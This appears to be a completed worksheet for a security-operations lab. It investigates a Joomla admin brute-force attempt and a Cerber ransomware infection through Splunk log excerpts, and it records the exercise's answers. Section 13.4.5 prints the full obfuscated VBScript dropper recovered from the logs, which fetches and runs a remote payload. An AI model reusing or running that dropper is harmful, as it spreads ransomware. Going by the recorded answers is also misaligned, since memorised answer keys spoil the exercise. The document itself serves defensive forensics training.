51724, "site": "imreallynotbatman.com", "src_content": "username=admin&passwd=batman&option=com_login&task=login&return=aW5kZXGucGhw&e5ec827a3f67ce0efc546d81f7356acc=1", "src_headers": "POST /joomla/administrator/index.php HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, */*\r\nReferer: http://imreallynotbatman.com/joomla/administrator/\r\nAccept-Language: en-US\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\nAccept-Encoding: gzip, deflate\r\nHost: imreallynotbatman.com\r\nContent-Length: 111\r\nDNT: 1\r\nConnection:
```

```
Keep-Alive\r\nCache-Control: no-cache\r\nCookie:  
7598a3465c906161e060ac551a9e0276=9qfk2654t4rmhltilkfhe7ua23\r\n\r\n", "src_  
ip": "40.80.148.42", "src_mac": "08:5B:0E:93:92:AF", "src_port": 49459, "status"  
: 303, "time_taken": 1754955, "transport": "tcp", "uri": "/joomla/administrator/i  
ndex.php", "uri_path": "/joomla/administrator/index.php"}
```

cs_content_length = 111

http_content_length = 182

passwd = batman

13.3.6 Unique password count

13.3.6 Reckoning the unique password count

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

13.4 Digging in deeper

13.4.1 Host IP

13.4.1 Determining a host's IP address

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

```
<Event
xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Pro
vider Name='Microsoft-Windows-Sysmon'
Guid='{5770385F-C22A-43E0-BF4C-06F5698FFBD9}' /><EventID>3</EventID><Versio
n>5</Version><Level>4</Level><Task>3</Task><Opcode>0</Opcode><Keywords>0x8
0000000000000000</Keywords><TimeCreated
SystemTime='2016-08-24T18:22:54.434606700Z' /><EventRecordID>446240</EventR
ecordID><Correlation/><Execution ProcessID='1216'
ThreadID='1828' /><Channel>Microsoft-Windows-Sysmon/Operational</Channel><C
omputer>we8105desk.waynecorpinc.local</Computer><Security
UserID='S-1-5-18' /></System><EventData><Data Name='UtcTime'>2016-08-24
18:22:49.599</Data><Data
Name='ProcessGuid'>{0F2D76F0-C5E3-57BD-0000-00106F810100}</Data><Data
Name='ProcessId'>472</Data><Data
Name='Image'>C:\Windows\System32\svchost.exe</Data><Data Name='User'>NT
AUTHORITY\LOCAL SERVICE</Data><Data Name='Protocol'>udp</Data><Data
Name='Initiated'>true</Data><Data Name='SourceIsIpv6'>false</Data><Data
Name='SourceIp'>192.168.250.100</Data><Data
Name='SourceHostname'>we8105desk.waynecorpinc.local</Data><Data
Name='SourcePort'>123</Data><Data Name='SourcePortName'>ntp</Data><Data
Name='DestinationIsIpv6'>false</Data><Data
Name='DestinationIp'>192.168.250.20</Data><Data
Name='DestinationHostname'>we9041srv</Data><Data
Name='DestinationPort'>123</Data><Data
Name='DestinationPortName'>ntp</Data></EventData></Event>
```

13.4.2 Least frequent alert

13.4.2 Calculating the least frequent alert

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

2816763

```
alert: { [+]
  }
  dest_ip: 85.93.0.0
  dest_port: 6892
  event_type: alert
  flow_id: 818473913
  in_iface: eth1
  proto: UDP
  src_ip: 192.168.250.100
  src_port: 50720
  timestamp: 2016-08-24T10:49:24.542756-0600
```

13.4.3 Ransomware FQDN

13.4.3 Working out which FQDN the ransomware redirects to

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

```
8/24/16      { [-]
5:15:12.668 PM    bytes: 90
                  bytes_in: 90
                  bytes_out: 0
                  dest_ip: 192.168.250.20
                  dest_mac: 00:0C:29:C3:C4:00
                  dest_port: 53
                  endtime: 2016-08-24T17:15:12.668498Z
                  message_type: [ [+]
                  ]
                  query: [ [-]
                        cerberhhyed5frqa.xmfir0.win
                        cerberhhyed5frqa.xmfir0.win
                  ]
                  query_type: [ [+]
                  ]
                  src_ip: 192.168.250.100
                  src_mac: 0C:4D:E9:AA:B1:27
                  src_port: 49456
                  time_taken: 4
                  timestamp: 2016-08-24T17:15:12.668494Z
                  transaction_id: 61363
                  transport: udp
```


13.4.4 Malicious URL by host

13.4.4 Discovering the first malicious URL visited by a host

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

solidaritedeproxitite.org

13.4.5 VB script run during infection

13.4.5 Locating the VB script run during infection

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

2016-08-2	we8	cmd.exe /V /C set "GSI=%APPDATA%\%RANDOM%.vbs" &&
4	105d	(for %i in ("DIm RWRL" "FuNctioN GNbiPp(Pt5SZ1)" "EYnt=45"
16:43:21	esk	"GNbiPp=AsC(Pt5SZ1)" "Xn1=52" "eNd fuNctiON" "SUB OjrYyD9()"
		"J0Nepq=56" "Dim UJv,G4coQ" "LT=23" "dO WHiLE
		UJv<>3016-3015" "G4coQ=G4coQ+1" "WSCRiPt.sLEeP(11)" "LoOP"
		"UsZK0=85" "ENd suB" "fuNctIon J7(BLI4A3)" "K5AU=29"
		"J7=cHR(BLI4A3)" "XBNutM9=36" "eNd fuNctiON" "SUB MA(QrG)"
		"WXCzRz=9" "Dim Jw" "Qt7=34" "Jw=TiMeR+QrG" "Do WhiLE
		tIMeR<Jw" "WSCRipT.sleEP(6)" "LOOp" "EXdkRkH=78" "enD sUB"
		"fUnCTion M1p67jL(BwqIM7,Qa)" "Yi=80" "dIM KH,ChnFY,RX,Pg,C6YT(8)"
		"Cm=7" "C6YT(1)=107" "Rzf=58" "C6YT(5)=115" "BSKoW=10"
		"C6YT(4)=56" "Cwd6=35" "C6YT(7)=110" "AQ=98" "C6YT(6)=100"
		"Y6Cm1l=82" "C6YT(2)=103" "JH3F2i=74" "C6YT(8)=119" "JRvsG2s=76"
		"C6YT(3)=53" "Yh=31" "C6YT(0)=115" "GuvD=47" "TbvF1=67" "SeT
		KH=cReATeObject(A9y("3C3A1D301F2D063708772930033C3C201C2D
		0A34203B053C0C2D", "Yo"))" "V2JR=73" "Set
		ChnFY=KH.GETfile(BwqIM7)" "RGeJ=68" "SeT
		Pg=ChnFY.opEnASTExTstReAM(6806-6805,7273-7273)" "CtxOk=82"
		"seT RX=KH.cREateteXtFiLe(Qa,6566-6565,2508-2508)" "XPL9af=76"
		"Do uNtil Pg.aTEndOfStReam" "RX.wRitE
		J7(OyVNo(GNbiPp(Pg.rEAD(6633-6632)),C6YT(0)))" "LooP" "IQz=49"
		"RX.cloSe" "CBR1gC7=51" "Pg.cLOSE" "PmG=64" "eNd funCTiON"
		"FUNctION QI9zEF()" "IBL2=16" "QI9zEF=secoND(Time)" "MUTkPNJ=41"
		"End FUNcTiOn" "FUNction A9y(Am,T1GCbB)" "CWCH9r=82" "Dim
		V3sl0m,F4ra,AxFE" "RLLp8R=89" "For V3sl0m=1 To (lEn(Am)/2)"
		"F4ra=(J7((8270-8232)) &
		J7((5328/74))&(miD(Am,(V3sl0m+V3sl0m)-1,2)))"
		"AxFE=(GNbiPp(miD(T1GCbB,((V3sl0m MOD Len(T1GCbB))+1),1)))"
		"A9y=A9y+J7(OyVNo(F4ra,AxFE))" "NeXT" "DxZ40=89" "enD fUNction"
		"Sub AylniN()" "N6nzb=92" "DIm GWJCK,Q3y,GKasG0" "FDu=47"
		"GWJCK=93961822" "UZ=32" "FoR Q3y=1 To GWJCK"
		"GKasG0=GKasG0+1" "neXt" "B1jq2Hk=63" "If GKasG0=GWJCK tHen"
		"KXso=18" "MA((-176+446))" "IP4=48"
		"Yq(A9y("0B3B1D44626E7E1020055D3C20230A3B0C503D31230C3700
		593135344D201B53772C39173D475E2826","QcOi4XA"))" "YTsWy=31"

"elSe" "DO5gpmA=84" "A8=86" "EnD iF" "XyUP=64" "eND SuB" "sUB
GKfD3aY(FaddNPJ)" "SDU0BLq=57" "DiM UPhqZ,KbcT" "DxejPK=88"
"KbcT="Drn4AW"" "GR0lc7=82" "sET
UPhqZ=CREAteOBJecT(A9y("332A7B05156A211A46243629",KbcT))"
"Gs0g=3" "UPhqZ.OpEn" "TF1=68" "UPhqZ.tyPE=6867-6866" "RDjmY=24"
"UPhqZ.wrlTe FaddNPJ" "WiFgvS=78" "UPhqZ.SaVeTOflle
RWRL,8725-8723" "AF=4" "UPhqZ.closE" "JC7sf2=1" "Cke4e" "JM=88"
"EnD suB" "fuNCtloN Yq(PDqi1)" "lO=22" "DiM
YTwwO,BAU7Cz,Uv,JiYwVG,IK" "GJDnbE=32" "On ErrOR reSume NeXT"
"B7bT=1" "Uv="Tk"" "ELw=73" "sEt
YTwwO=CREaTeObjeCT(A9y("3C07082602241F7A383C0E3807",Uv))"
"K4=62" "GAiF" "IS1cj=19" "Set
Dzc0=YTwwO.eNVlR0NMEnt(A9y("013B183400023A","EQiWw"))"
"D9S=38"
"RWRL=Dzc0(A9y("14630811720C14","XU3"))&J7((8002-7910))&a
mp; Ql9zEF & Ql9zEF" "AtCQ=95" "JiYwVG="FcQqQ"" "Tf=79" "sEt
BAU7Cz=CrEATEoBJECT(A9y("2E38122329103E1725683B1C3D191237
01",JiYwVG))" "QUY=56" "BAU7Cz.OpeN
A9y("0D0E1E","KJ"),PDqi1,7387-7387" "JX2=58"
"BAU7Cz.SeTReQuEstHeAdeR
A9y("1F59242828","OM8J"),A9y("0D354C3D356B567A0F6B6B","VoL8XF"
)" "URkT=71" "BAU7Cz.SEnD()" "QdFeA6=65" "if
BAU7Cz.StaTUstExt=A9y("652840353A542512023C5B3D572F27","S5l2
A") then" "PwTLW23=36" "GAiF" "R4xYBS=63" "MA(4)" "PjL6m=46"
"GKfD3aY BAU7Cz.ReSpONSEbody" "Fj98=72" "Else" "D7T=91"
"IK="NNXFD0"" "NK=74" "SeT BAU7Cz=
CreATeobJECT(A9y("033125365F3D213E326A68030210121060",IK))"
"QJ=35" "BAU7Cz.oPeN
A9y("2A2F0E","TmjZ8d"),A9y("07351B31556E40785D6F5D735D6F5E715
B6F5E795D6E02291B33412B1F26","Ao"),5022-5022" "UMp8=85"
"BAU7Cz.SeTReqUesTheadER
A9y("1439190A24","AFXwm"),A9y("371038301A716C5F7B6644","LUi")"
"NluUc=93" "BAU7Cz.SENd()" "EOtR=44" "If
BAU7Cz.STaTUSTexT=A9y("03510A3B3A51146F105F163B365E0C","OS
0x") THen GKfD3aY BAU7Cz.REsPOnSeBODY" "Q6sMEZ=54" "l9NI7=56"

```
"end if" "Dq=54" "eND FuNCTioN" "fUNctIon OyVNo(U1,Br0d)"
"SNOW=59" "OyVNo=(U1 AND noT Brt0d)oR(NOt U1 And Brt0d)"
"QTi5K=54" "enD funcTION" "Sub Cke4e()" "WTOyAw=62" "dIM
EuM,Wibud,NCiN,Fs8HJ" "A5AT=92" "NCiN="" "SX6=93" "Wibud=RWRL
&amp; QI9zEF &amp; A9y("4A330F3F","WdGbOGp")" "V5B7Zh=92"
"M1p67jL RWRL,Wibud" "L13=45" "iF Fs8HJ="" tHen MA(4)" "CHaK=38"
"EuM="Iqxkf"" "U56m=67" "SEt
VP=creATeoBJEcT(A9y("262B081420010C453521141407",EuM))"
"U5Quw=85" "VP.Run
A9y("1023287B163629755C0D6C06270F1E01536C6E7551","UsNL")
&amp; Wibud &amp; NCiN,2912-2912,5755-5755" "A6mfcYL=76" "End
sUB" "JoxZ3=43" "AylniN" "suB GAiF()" "G4vzM=95" "Dim DCRml9g,
CjoNOY9" "For DCRml9g = 68 To 6000327" "CjoNOY9 = Rvwr + 23 + 35 +
27" "Next" "KK0H=46" "enD sUB") do @echo %~i)&gt;"!GSI!" &amp;&amp;
start "" "!GSI!"
```

13.4.6 USBs

13.4.6 Digging up evidence of USBs connected to a device

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

```
8/24/16      08/24/2016 10:42:17.287
4:42:17.000 PM event_status="(0)The operation completed
                successfully."
                pid=2908
                process_image="c:\Windows\System32\WUDFHost.exe"
                registry_type="SetValue"
                key_path="HKLM\software\microsoft\windows portable
                devices\devices\wpdbusenumroot#umb#2&37c186b&0&storage
                #volume#_??_usbstor#disk&ven_generic&prod_flash_disk&r
                ev_8.07#7d961196&0#\friendlyname"
                data_type="REG_SZ"
                data="MIRANDA_PRI"
```

[Collapse](#)

13.4.7 File server

13.4.7 Identifying the file server

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

8/24/16	08/24/2016 11:15:18.043
5:15:18.000 PM	event_status="(0)The operation completed successfully." pid=3496 process_image="c:\Windows\explorer.exe" registry_type="CreateKey" key_path="HKU\s-1-5-21-67332772-3493699611-3403467266-1109\software\microsoft\windows\currentversion\explorer\mountpoints2\##192.168.250.20#fileshare" data_type="REG_NONE"

13.4.8 Unique files

13.4.8 Computing unique files encrypted by the ransomware

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

13.4.9 Process

13.4.9 Tracking down the responsible process

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

2016-08-24 16:48:21

1476

3968

C:\Windows\SysWOW64\cmd.exe

13.4.10 Counting files

13.4.10 Calculating the number of encrypted files of a specific format

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

13.4.11 Cryptor's filename

13.4.11 Locating the cryptor's filename

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

mhtr.jpg

13.4.12 Obfuscation

13.4.12 Using OSINT to determine the ransomware's obfuscation technique

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

steganography